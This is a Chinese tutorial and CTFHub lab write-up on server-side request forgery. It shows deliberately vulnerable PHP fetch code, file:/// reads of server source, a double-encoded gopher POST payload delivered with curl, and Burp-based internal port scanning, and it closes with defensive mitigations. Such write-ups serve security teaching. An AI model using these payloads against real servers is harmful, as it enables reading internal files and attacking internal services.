很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容
如果没有对指定URL做过滤措施,就有可能存在SSRF漏洞
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以“服务器的身份”发送构造好的请求给服务器所在内网的一个安全漏洞
一般情况下,SSRF攻击通常针对外部网络无法直接访问的内部系统
SSRF 形成的原因:
服务端提供了从其他服务器应用获取数据的功能
没有对目标地址做过滤与限制
比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等
在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数
//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img=".$filename."\"/>";
}
echo $img;
?>
//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式
function curl($url){
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息
curl_exec($ch); // 执行获取结果
curl_close($ch); // 关闭curl连接句柄
}
$url = $_GET['url'];
curl($url);
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害
URL的结构格式如下:
scheme://user:pass@host:port/path?query=value#fragment
// 其中scheme 可以是gopher dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件
dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628
sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前
root@kali:~# curl -V
curl 7.67.0 (x86_64-pc-linux-gnu) libcurl/7.67.0 OpenSSL/1.1.1d zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.20.2 (+libidn2/2.0.5) libssh2/1.8.0 nghttp2/1.40.0 librtmp/2.3
Release-Date: 2019-11-06
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: AsynchDNS brotli GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets
可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议在进行SSRF漏洞利用时用的比较多
结合CTFHub平台技能树中的SSRF四个题目进行实践操作,找到flag即为解题成功
题目一:【内网访问】
打开题目,访问题目URL,打开chrome的network面板,可以看到网页重定向到/?url
此时,url参数意味着可以指定地址访问请求,这里需要拿到flag,直接尝试访问web目录下的flag.php,构造url参数值如下:
url=http://127.0.0.1/flag.php
因为没对目标地址做任何过滤与限制,即可拿到flag
题目二:【伪协议读取文件】
知识点:URL伪协议之file协议
file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件
如题目一一样,使用burpsuite抓包工具抓取重定向的请求包,发送到Repeater重放攻击模块,同样将url参数赋值为http://127.0.0.1/flag.php
尝试获取flag
发现http协议访问并没有有意义的回显,使用file协议进行尝试,通常web目录为/var/www/html
,构造url参数值如下
url=file:///var/www/html/flag.php
题目三:【POST请求】
知识点:URL伪协议之gopher协议
// gopher协议
在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌
// gopher协议特点:
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求(换行使用%0d%0a,空白行%0a)
// gopher协议的格式:
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
// gopher协议在curl命令中的使用方式:
curl gopher://localhost:2222/hello%0agopher
协议 | 支持情况 |
---|---|
PHP | –wite-curlwrappers 且 php版本至少为5.3 |
Java | 小于JDK1.7 |
Curl | 低版本不支持 |
Perl | 支持 |
ASP.NET | 小于版本3 |
开启题目环境,发现了flag.php,index.php
两个文件
首先尝试使用http协议直接访问flag.php
,结果如下
提示需要使用POST请求 /flag.php
文件,且需要加上参数key,key在注释中已给出
顺着提示,在burp中构造POST请求包,响应包返回只能127.0.0.1
可以请求flag.php
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rxvvs5PM-1605779437027)(https://gitee.com/f4ke/MarkDownImg/raw/master/static/image-20201119151043191.png)]
尝试用file协议读取flag.php,index.php
文件源码
http://xxxx.ctfhub.com:10080/?url=file:///var/www/html/index.php
http://xxxx.ctfhub.com:10080/?url=file:///var/www/html/flag.php
源码如下:
// flag.php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] ! = "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key= echo $key;?>-->
</form>
// index.php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //设置连接URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //根据服务器返回 HTTP 头中的 "Location: " 重定向
curl_exec($ch); // 执行获取结果
curl_close($ch); // 关闭curl连接句柄
通过阅读flag.php
源码,我们需要想办法使REMOTE_ADDR
的值为127.0.0.1
,也就是说只能从127.0.0.1
进行请求才能拿到flag,由此需要利用gopher协议来构造出一个从127.0.0.1
发出的POST请求包即可
构造POST请求如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36 // 特别注意此处的长度,长度不对也是不行的
Content-Type: application/x-www-form-urlencoded
key=57b046d9c65b63b05eceb6eca3c5d177 // key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值
需注意,通过gopher协议进行请求时,要将http包进行URL编码
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束
由于PHP默认解码$ _GET
和$ _REQUEST
数据,必须要对http包进行二次URL编码,否则index.php执行时发起gopher请求时,会因为被PHP解码后的数据存在空格导致数据截断原因出错
综上,构造url参数值如下
url=gopher://127.0.0.1:80/_POST%2520%2fflag.php%2520HTTP%2f1.1%250d%250aHost%3a%2520127.0.0.1%3a80%250d%250aContent-Length%3a%252036%250d%250aContent-Type%3a%2520application%2fx-www-form-urlencoded%250d%250a%250d%250akey%3d57b046d9c65b63b05eceb6eca3c5d177%250d%250a
完整POST请求包如下,即可得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wDip2YHY-1605779437030)(https://gitee.com/f4ke/MarkDownImg/raw/master/static/image-20201119152533156.png)]
也可以使用curl命令, payload如下
curl -vvv "http://challenge-cebf15f16c12aabf.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520%2fflag.php%2520HTTP%2f1.1%250d%250aHost%3a%2520127.0.0.1%3a80%250d%250aContent-Length%3a%252036%250d%250aContent-Type%3a%2520application%2fx-www-form-urlencoded%250d%250a%250d%250akey%3d57b046d9c65b63b05eceb6eca3c5d177%250d%250a"
flag如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Ldo1tjS-1605779437031)(https://gitee.com/f4ke/MarkDownImg/raw/master/static/image-20201119153741402.png)]
题目四:【端口扫描】
如题目一样302重定向,然后重定向的响应包的发现提示信息~
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KtY2Andy-1605779437032)(https://gitee.com/f4ke/MarkDownImg/raw/master/static/image-20201118165320820.png)]
可以推测,在8000-9000中的某个端口,至少有东西或者flag存在
于是可以构造url参数值如下:
url=http://127.0.0.1:8000
将包发到burp Intruder爆破模块,选择需要递增的端口号作为payload
设置好参数后开始爆破,结果如下,在8089端口得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HhGPEYBV-1605779437034)(https://gitee.com/f4ke/MarkDownImg/raw/master/static/image-20201118170101821.png)]
同样的,真实业务环境下,可以对本机的开放端口进行探测。
可以得出结论,SSRF可以对外网、服务器所在内网、本地进行端口扫描
通常有以下5个思路:
过滤返回信息。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
统一错误信息。避免用户可以根据错误信息来判断远端服务器的端口状态
限制请求的端口为http常用的端口。比如,80,443,8080,8090。
内网IP设置黑名单。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议,仅仅允许http和https请求。可以防止类似file:///,gopher://,ftp:// 等引起的问题。
Web安全基础学习之SSRF漏洞利用
SSRF中URL的伪协议
gopher 协议在SSRF 中的一些利用
SSRF基础:Gopher协议发送Get和Post请求
Gopher协议在SSRF漏洞中的深入研究